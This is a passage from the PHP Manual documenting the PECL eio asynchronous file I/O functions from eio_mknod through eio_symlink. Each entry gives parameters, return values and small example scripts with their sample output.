        rmdir($temp_dirname);
}

// Create directory with access mode 0300
eio_mkdir($temp_dirname, 0300, EIO_PRI_DEFAULT, "my_mkdir_callback", $temp_dirname);
eio_event_loop();
?>

The above example will output something similar to:

eio_mkdir_ok

See Also

  • eio_rmdir

User Contributed Notes

There are no user contributed notes for this page.
eio_lstat
eio_mknod
Eio Functions


Create a special or ordinary file.

eio_mkdir
eio_nop
Eio Functions
PHP Manual

eio_mknod

(PECL eio >= 0.0.1dev)

eio_mknod — Create a special or ordinary file.

Description

resource eio_mknod ( string $path , int $mode , int $dev [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_mknod() creates ordinary or special(often) file.

Warning

This function is currently not documented; only its argument list is available.

Parameters

path

Path for the new node(file).

mode

Specifies both the permissions to use and the type of node to be created. It should be a combination (using bitwise OR) of one of the file types listed below and the permissions for the new node(e.g. 0640). Possible file types are: EIO_S_IFREG(regular file), EIO_S_IFCHR(character file), EIO_S_IFBLK(block special file), EIO_S_IFIFO(FIFO - named pipe) and EIO_S_IFSOCK(UNIX domain socket). To specify permissions EIO_S_I* constants could be used.

dev

If the file type is EIO_S_IFCHR or EIO_S_IFBLK then dev specifies the major and minor numbers of the newly created device special file. Otherwise dev ignored. See mknod(2) man page for details.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_mknod() returns request resource on success or FALSE on error.

Examples

Example #1 eio_mknod() example

<?php
// FIFO name
$temp_filename = "/tmp/eio-temp-fifo";

/* Is called when eio_mknod() finishes */
function my_mknod_callback($data, $result) {
    $s = stat($data);
    var_dump($s);

    if ($result == 0) {
        echo "eio_mknod_ok";
    }

    @unlink($data);
}

eio_mknod($temp_filename, EIO_S_IFIFO, 0,
    EIO_PRI_DEFAULT, "my_mknod_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

array(26) {
  [0]=>
  int(17)
  [1]=>
  int(2337608)
  [2]=>
  int(4096)
  [3]=>
  int(1)
  [4]=>
  int(1000)
  [5]=>
  int(100)
  [6]=>
  int(0)
  [7]=>
  int(0)
  [8]=>
  int(1318241261)
  [9]=>
  int(1318241261)
  [10]=>
  int(1318241261)
  [11]=>
  int(4096)
  [12]=>
  int(0)
  ["dev"]=>
  int(17)
  ["ino"]=>
  int(2337608)
  ["mode"]=>
  int(4096)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(100)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(0)
  ["atime"]=>
  int(1318241261)
  ["mtime"]=>
  int(1318241261)
  ["ctime"]=>
  int(1318241261)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(0)
}
eio_mknod_ok

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.
eio_mkdir
eio_nop
Eio Functions


Does nothing, except go through the whole request cycle.

eio_mknod
eio_npending
Eio Functions
PHP Manual

eio_nop

(PECL eio >= 0.0.1dev)

eio_nop — Does nothing, except go through the whole request cycle.

Description

resource eio_nop ([ int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_nop() does nothing, except go through the whole request cycle. Could be useful in debugging.

Parameters

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_nop() returns request resource on success or FALSE on error.

See Also

  • eio_busy

User Contributed Notes

There are no user contributed notes for this page.
eio_mknod
eio_npending
Eio Functions


Returns number of finished, but unhandled requests

eio_nop
eio_nready
Eio Functions
PHP Manual

eio_npending

(PECL eio >= 0.0.1dev)

eio_npending — Returns number of finished, but unhandled requests

Description

int eio_npending ( void )

eio_npending() returns number of finished, but unhandled requests

Parameters

This function has no parameters.

Return Values

eio_npending() returns number of finished, but unhandled requests.

See Also

  • eio_nreqs
  • eio_nready
  • eio_nthreads

User Contributed Notes

There are no user contributed notes for this page.
eio_nop
eio_nready
Eio Functions


Returns number of not-yet handled requests

eio_npending
eio_nreqs
Eio Functions
PHP Manual

eio_nready

(PECL eio >= 0.0.1dev)

eio_nready — Returns number of not-yet handled requests

Description

int eio_nready ( void )

Parameters

This function has no parameters.

Return Values

eio_nready() returns number of not-yet handled requests

See Also

  • eio_nreqs
  • eio_nready
  • eio_nthreads

User Contributed Notes

There are no user contributed notes for this page.
eio_npending
eio_nreqs
Eio Functions


Returns number of requests to be processed

eio_nready
eio_nthreads
Eio Functions
PHP Manual

eio_nreqs

(PECL eio >= 0.0.1dev)

eio_nreqs — Returns number of requests to be processed

Description

int eio_nreqs ( void )

eio_nreqs() could be called in a custom loop calling eio_poll().

Parameters

This function has no parameters.

Return Values

eio_nreqs() returns number of requests to be processed.

Examples

Example #1 eio_nreqs() example

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    eio_poll();
}
?>

The above example will output something similar to:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

See Also

  • eio_poll
  • eio_nready

User Contributed Notes

There are no user contributed notes for this page.
eio_nready
eio_nthreads
Eio Functions


Returns number of threads currently in use

eio_nreqs
eio_open
Eio Functions
PHP Manual

eio_nthreads

(PECL eio >= 0.0.1dev)

eio_nthreads — Returns number of threads currently in use

Description

int eio_nthreads ( void )

Parameters

This function has no parameters.

Return Values

eio_nthreads() returns number of threads currently in use.

See Also

  • eio_npending
  • eio_nready
  • eio_nreqs

User Contributed Notes

There are no user contributed notes for this page.
eio_nreqs
eio_open
Eio Functions


Opens a file

eio_nthreads
eio_poll
Eio Functions
PHP Manual

eio_open

(PECL eio >= 0.0.1dev)

eio_open — Opens a file

Description

resource eio_open ( string $path , int $flags , int $mode , int $pri , callback $callback [, mixed $data = NULL ] )

eio_open() opens file specified by path in access mode mode with

Parameters

path

Path of the file to be opened.

Warning

In some SAPIs(e.g. PHP-FPM) it could fail, if you don't specify full path.

flags

One of EIO_O_* constants, or their combinations. EIO_O_* constants have the same meaning, as their corresponding O_* counterparts defined in fnctl.h C header file. Default is EIO_O_RDWR.

mode

One of EIO_S_I* constants, or their combination (via bitwise OR operator). The constants have the same meaning as their S_I* counterparts defined in » sys/stat.h C header file. Required, if a file is created. Otherwise ignored.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_open() returns file descriptor in result argument of callback on success; otherwise, result is equal to -1.

Examples

Example #1 eio_open() example

<?php
$temp_filename = "eio-temp-file.tmp";

/* Is called when eio_close() finishes */
function my_close_cb($data, $result) {
 // Zero indicates success
    var_dump($result == 0);
 @unlink($data);
}

/* Is called when eio_open() finishes */
function my_file_opened_callback($data, $result) {
 // $result should contain the file descriptor
    var_dump($result > 0);

    if ($result > 0) {
  // Close the file
        eio_close($result, EIO_PRI_DEFAULT, "my_close_cb", $data);
        eio_event_loop();
    }
}

// Create new file for reading and writing
// Deny group and others to do anything with that file
eio_open($temp_filename, EIO_O_CREAT | EIO_O_RDWR, EIO_S_IRUSR | EIO_S_IWUSR,
  EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)

See Also

  • eio_mknod

User Contributed Notes

There are no user contributed notes for this page.
eio_nthreads
eio_poll
Eio Functions


Can be to be called whenever there are pending requests that need finishing.

eio_open
eio_read
Eio Functions
PHP Manual

eio_poll

(PECL eio >= 0.0.1dev)

eio_poll — Can be to be called whenever there are pending requests that need finishing.

Description

int eio_poll ( void )

eio_poll() can be used to implement special event loop. For this eio_nreqs() could be used to test if there are unprocessed requests.

Note:

Applicable only when implementing userspace event loop.

Parameters

This function has no parameters.

Return Values

If any request invocation returns a non-zero value, returns that value. Otherwise, it returns 0.

Examples

Example #1 eio_poll() example

<?php
function res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

eio_nop(EIO_PRI_DEFAULT, "res_cb", "1");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "2");
eio_nop(EIO_PRI_DEFAULT, "res_cb", "3");

while (eio_nreqs()) {
    // Some specific IPC or so
    eio_poll();
}
?>

The above example will output something similar to:

string(1) "1"
int(0)
string(1) "3"
int(0)
string(1) "2"
int(0)

See Also

  • eio_nreqs

User Contributed Notes

There are no user contributed notes for this page.
eio_open
eio_read
Eio Functions


Read from a file descriptor at given offset.

eio_poll
eio_readahead
Eio Functions
PHP Manual

eio_read

(PECL eio >= 0.0.1dev)

eio_read — Read from a file descriptor at given offset.

Description

resource eio_read ( int $fd , int $length , int $offset , int $pri , callback $callback [, mixed $data = NULL ] )

eio_read() reads up to length bytes from fd file descriptor at offset. The read bytes are stored in result argument of callback.

Parameters

fd

The file descriptor

length

Maximum number of bytes to read.

offset

Offset within the file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_read() stores read bytes in result argument of callback function.

Examples

Example #1 eio_read() example

<?php
// Open a temporary file and write some bytes there
$temp_filename = "eio-temp-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "1234567890");
fclose($fp);

/* Is called when eio_read() is done */
function my_read_cb($data, $result) {
    global $temp_filename;

 // Output read bytes
    var_dump($result);

 // Close file
    eio_close($data);
    eio_event_loop();

 // Remove temporary file
    @unlink($temp_filename);
}

/* Is called when eio_open() is done */
function my_file_opened_callback($data, $result) {
 // $result should contain the file descriptor
    if ($result > 0) {
  // Read 5 bytes starting from third
        eio_read($result, 5, 2, EIO_PRI_DEFAULT, "my_read_cb", $result);
        eio_event_loop();
    } else {
  // eio_open() failed
        unlink($data);
    }
}

// Open the file for reading and writing
eio_open($temp_filename, EIO_O_RDWR, NULL,
    EIO_PRI_DEFAULT, "my_file_opened_callback", $temp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(5) "34567"

See Also

  • eio_open
  • eio_write
  • eio_close
  • eio_event_loop

User Contributed Notes

There are no user contributed notes for this page.
eio_poll
eio_readahead
Eio Functions


Perform file readahead into page cache

eio_read
eio_readdir
Eio Functions
PHP Manual

eio_readahead

(PECL eio >= 0.0.1dev)

eio_readahead — Perform file readahead into page cache

Description

resource eio_readahead ( int $fd , int $offset , int $length [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_readahead() populates the page cache with data from a file so that subsequent reads from that file will not block on disk I/O. See READAHEAD(2) man page for details.

Parameters

fd

The file descriptor

offset

Starting point from which data is to be read.

length

Number of bytes to be read.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_readahead() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_read
eio_readdir
Eio Functions


Reads through a whole directory

eio_readahead
eio_readlink
Eio Functions
PHP Manual

eio_readdir

(PECL eio >= 0.0.1dev)

eio_readdir — Reads through a whole directory

Description

resource eio_readdir ( string $path , int $flags , int $pri , callback $callback [, string $data = NULL ] )

Reads through a whole directory(via the opendir, readdir and closedir system calls) and returns either the names or an array in result argument of callback function, depending on the flags argument.

Parameters

path

Directory path.

flags

Combination of EIO_READDIR_* constants.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_readdir() returns request resource on success, or FALSE on error. Sets result argument of callback function according to flags:

EIO_READDIR_DENTS (integer)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (integer)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (integer)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (integer)

Node types:

EIO_DT_UNKNOWN (integer)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (integer)
FIFO node type
EIO_DT_CHR (integer)
Node type
EIO_DT_MPC (integer)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (integer)
Directory node type
EIO_DT_NAM (integer)
Xenix special named file node type
EIO_DT_BLK (integer)
Node type
EIO_DT_MPB (integer)
Multiplexed block device (v7+coherent)
EIO_DT_REG (integer)
Node type
EIO_DT_NWK (integer)
EIO_DT_CMP (integer)
HP-UX network special node type
EIO_DT_LNK (integer)
Link node type
EIO_DT_SOCK (integer)
Socket node type
EIO_DT_DOOR (integer)
Solaris door node type
EIO_DT_WHT (integer)
Node type
EIO_DT_MAX (integer)
Highest node type value

Examples

Example #1 eio_readdir() example

<?php
/* Is called when eio_readdir() finishes */
function my_readdir_callback($data, $result) {
    echo __FUNCTION__, " called\n";
    echo "data: "; var_dump($data);
    echo "result: "; var_dump($result);
    echo "\n";
}

eio_readdir("/var/spool/news", EIO_READDIR_STAT_ORDER | EIO_READDIR_DIRS_FIRST,
  EIO_PRI_DEFAULT, "my_readdir_callback");
eio_event_loop();
?>

The above example will output something similar to:

my_readdir_callback called
data: NULL
result: array(2) {
 ["names"]=>
  array(7) {
   [0]=>
    string(7) "archive"
    [1]=>
    string(8) "articles"
    [2]=>
    string(8) "incoming"
    [3]=>
    string(7) "innfeed"
    [4]=>
    string(8) "outgoing"
    [5]=>
    string(8) "overview"
    [6]=>
    string(3) "tmp"
  }
 ["dents"]=>
  array(7) {
   [0]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "archive"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393265)
    }
   [1]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "articles"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393266)
    }
   [2]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "incoming"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393267)
    }
   [3]=>
    array(3)
    {
     ["name"]=>
      string(7)
      "innfeed"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393269)
    }
   [4]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "outgoing"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393270)
    }
   [5]=>
    array(3)
    {
     ["name"]=>
      string(8)
      "overview"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393271)
    }
   [6]=>
    array(3)
    {
     ["name"]=>
      string(3)
      "tmp"
      ["type"]=>
      int(4)
      ["inode"]=>
      int(393272)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.
eio_readahead
eio_readlink
Eio Functions


Read value of a symbolic link.

eio_readdir
eio_realpath
Eio Functions
PHP Manual

eio_readlink

(PECL eio >= 0.0.1dev)

eio_readlink — Read value of a symbolic link.

Description

resource eio_readlink ( string $path , int $pri , callback $callback [, string $data = NULL ] )

Parameters

path

Source symbolic link path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_readlink() returns request resource on success or FALSE on error.

Examples

Example #1 eio_readlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)
string(16) "/tmp/symlink.dat"

See Also

  • eio_symlink

User Contributed Notes

There are no user contributed notes for this page.
eio_readdir
eio_realpath
Eio Functions


Get the canonicalized absolute pathname.

eio_readlink
eio_rename
Eio Functions
PHP Manual

eio_realpath

(PECL eio >= 0.0.1dev)

eio_realpath — Get the canonicalized absolute pathname.

Description

resource eio_realpath ( string $path , int $pri , callback $callback [, string $data = NULL ] )

eio_realpath() returns the canonicalized absolute pathname in result argument of callback function.

Parameters

path

Short pathname

pri

callback

data

Return Values

Examples

Example #1 eio_realpath() example

<?php
var_dump(getcwd());

function my_realpath_allback($data, $result) {
    var_dump($result);
}

eio_realpath("../", EIO_PRI_DEFAULT, "my_realpath_allback");
eio_event_loop();
?>

The above example will output something similar to:

string(12) "/home/ruslan"
string(5) "/home"

User Contributed Notes

There are no user contributed notes for this page.
eio_readlink
eio_rename
Eio Functions


Change the name or location of a file.

eio_realpath
eio_rmdir
Eio Functions
PHP Manual

eio_rename

(PECL eio >= 0.0.1dev)

eio_rename — Change the name or location of a file.

Description

resource eio_rename ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_rename() renames or moves a file to new location.

Parameters

path

Source path

new_path

Target path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_rename() returns request resource on success or FALSE on error.

Examples

Example #1 eio_rename() example

<?php
$filename = dirname(__FILE__)."/eio-temp-file.dat";
touch($filename);
$new_filename = dirname(__FILE__)."/eio-temp-file-new.dat";

function my_rename_cb($data, $result) {
    global $filename, $new_filename;

    if ($result == 0 && !file_exists($filename) && file_exists($new_filename)) {
        @unlink($new_filename);
        echo "eio_rename_ok";
    } else {
        @unlink($filename);
    }
}

eio_rename($filename, $new_filename, EIO_PRI_DEFAULT, "my_rename_cb", $filename);
eio_event_loop();
?>

The above example will output something similar to:

eio_rename_ok

User Contributed Notes

There are no user contributed notes for this page.
eio_realpath
eio_rmdir
Eio Functions


Remove a directory

eio_rename
eio_sendfile
Eio Functions
PHP Manual

eio_rmdir

(PECL eio >= 0.0.1dev)

eio_rmdir — Remove a directory

Description

resource eio_rmdir ( string $path [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_rmdir() removes a directory.

Parameters

path

Directory path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_rmdir() returns request resource on success or FALSE on error.

Examples

Example #1 eio_rmdir() example

<?php
$temp_dirname = "eio-temp-dir";
mkdir($temp_dirname);

function my_rmdir_callback($data, $result) {
    if ($result == 0 && !file_exists($data)) {
        echo "eio_rmdir_ok";
    } else if (file_exists($data)) {
        rmdir($data);
    }
}

eio_rmdir($temp_dirname, EIO_PRI_DEFAULT, "my_rmdir_callback", $temp_dirname);
eio_event_loop();
?>

The above example will output something similar to:

eio_rmdir_ok

See Also

  • eio_mkdir

User Contributed Notes

There are no user contributed notes for this page.
eio_rename
eio_sendfile
Eio Functions


Transfer data between file descriptors

eio_rmdir
eio_set_max_idle
Eio Functions
PHP Manual

eio_sendfile

(PECL eio >= 0.0.1dev)

eio_sendfile — Transfer data between file descriptors

Description

resource eio_sendfile ( int $out_fd , int $in_fd , int $offset , int $length [, int $pri [, callback $callback [, string $data ]]] )

eio_sendfile() copies data between one file descriptor and another. See SENDFILE(2) man page for details.

Parameters

out_fd

Output file descriptor. Should be opened for writing.

in_fd

Input file descriptor. Should be opened for reading.

offset

Offset within the source file.

length

Number of bytes to copy.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_sendfile() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_rmdir
eio_set_max_idle
Eio Functions


Set maximum number of idle threads.

eio_sendfile
eio_set_max_parallel
Eio Functions
PHP Manual

eio_set_max_idle

(PECL eio >= 0.0.1dev)

eio_set_max_idle — Set maximum number of idle threads.

Description

void eio_set_max_idle ( int $nthreads )

Parameters

nthreads

Number of idle threads.

Return Values

No value is returned.

See Also

  • eio_set_min_parallel
  • eio_set_max_parallel

User Contributed Notes

There are no user contributed notes for this page.
eio_sendfile
eio_set_max_parallel
Eio Functions


Set maximum parallel threads

eio_set_max_idle
eio_set_max_poll_reqs
Eio Functions
PHP Manual

eio_set_max_parallel

(PECL eio >= 0.0.1dev)

eio_set_max_parallel — Set maximum parallel threads

Description

void eio_set_max_parallel ( int $nthreads )

Parameters

nthreads

Number of parallel threads

Return Values

No value is returned.

See Also

  • eio_set_min_parallel

User Contributed Notes

There are no user contributed notes for this page.
eio_set_max_idle
eio_set_max_poll_reqs
Eio Functions


Set maximum number of requests processed in a poll.

eio_set_max_parallel
eio_set_max_poll_time
Eio Functions
PHP Manual

eio_set_max_poll_reqs

(PECL eio >= 0.0.1dev)

eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.

Description

void eio_set_max_poll_reqs ( int $nreqs )

Parameters

nreqs

Number of requests

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
eio_set_max_parallel
eio_set_max_poll_time
Eio Functions


Set maximum poll time

eio_set_max_poll_reqs
eio_set_min_parallel
Eio Functions
PHP Manual

eio_set_max_poll_time

(PECL eio >= 0.0.1dev)

eio_set_max_poll_time — Set maximum poll time

Description

void eio_set_max_poll_time ( float $nseconds )

Polling stops, if poll took longer than nseconds seconds.

Parameters

nseconds

Number of seconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
eio_set_max_poll_reqs
eio_set_min_parallel
Eio Functions


Set minimum parallel thread number

eio_set_max_poll_time
eio_stat
Eio Functions
PHP Manual

eio_set_min_parallel

(PECL eio >= 0.0.1dev)

eio_set_min_parallel — Set minimum parallel thread number

Description

void eio_set_min_parallel ( string $nthreads )

Parameters

nthreads

Number of parallel threads.

Return Values

No value is returned.

See Also

  • eio_set_max_parallel

User Contributed Notes

There are no user contributed notes for this page.
eio_set_max_poll_time
eio_stat
Eio Functions


Get file status

eio_set_min_parallel
eio_statvfs
Eio Functions
PHP Manual

eio_stat

(PECL eio >= 0.0.1dev)

eio_stat — Get file status

Description

resource eio_stat ( string $path , int $pri , callback $callback [, mixed $data = NULL ] )

eio_stat() returns file status information in result argument of callback

Parameters

path

The file path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_stat() returns request resource on success or FALSE on error. On success assigns result argument of callback to an array.

Examples

Example #1 eio_stat() example

<?php
$tmp_filename = "eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_stat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_stat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(8) "eio_stat"
array(12) {
  ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489173)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318250380)
  ["st_mtime"]=>
  int(1318250380)
  ["st_ctime"]=>
  int(1318250380)
}

See Also

  • eio_lstat
  • eio_fstat

User Contributed Notes

There are no user contributed notes for this page.
eio_set_min_parallel
eio_statvfs
Eio Functions


Get file system statistics

eio_stat
eio_symlink
Eio Functions
PHP Manual

eio_statvfs

(PECL eio >= 0.0.1dev)

eio_statvfs — Get file system statistics

Description

resource eio_statvfs ( string $path , int $pri , callback $callback [, mixed $data ] )

eio_statvfs() returns file system statistics information in result argument of callback

Parameters

path

Pathname of any file within the mounted file system

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_statvfs() returns request resource on success or FALSE on error. On success assigns result argument of callback to an array.

Examples

Example #1 eio_statvfs() example

<?php
$tmp_filename = '/tmp/eio-file.tmp';
touch($tmp_filename);

function my_statvfs_callback($data, $result) {
    var_dump($data);
    var_dump($result);

 @unlink($data);
}

eio_statvfs($tmp_filename, EIO_PRI_DEFAULT, "my_statvfs_callback", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(17) "/tmp/eio-file.tmp"
array(11) {
  ["f_bsize"]=>
  int(4096)
  ["f_frsize"]=>
  int(4096)
  ["f_blocks"]=>
  int(262144)
  ["f_bfree"]=>
  int(262111)
  ["f_bavail"]=>
  int(262111)
  ["f_files"]=>
  int(1540815)
  ["f_ffree"]=>
  int(1540743)
  ["f_favail"]=>
  int(1540743)
  ["f_fsid"]=>
  int(0)
  ["f_flag"]=>
  int(4102)
  ["f_namemax"]=>
  int(255)
}

User Contributed Notes

There are no user contributed notes for this page.
eio_stat
eio_symlink
Eio Functions


Create a symbolic link

eio_statvfs
eio_sync_file_range
Eio Functions
PHP Manual

eio_symlink

(PECL eio >= 0.0.1dev)

eio_symlink — Create a symbolic link

Description

resource eio_symlink ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_symlink() creates a symbolic link new_path to path.

Parameters

path

Source path

new_path

Target path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_symlink() returns request resource on success or FALSE on error.

Examples

Example #1 eio_symlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
string(16) "/tmp/symlink.dat"

See Also

  • eio_link

User Contributed Notes

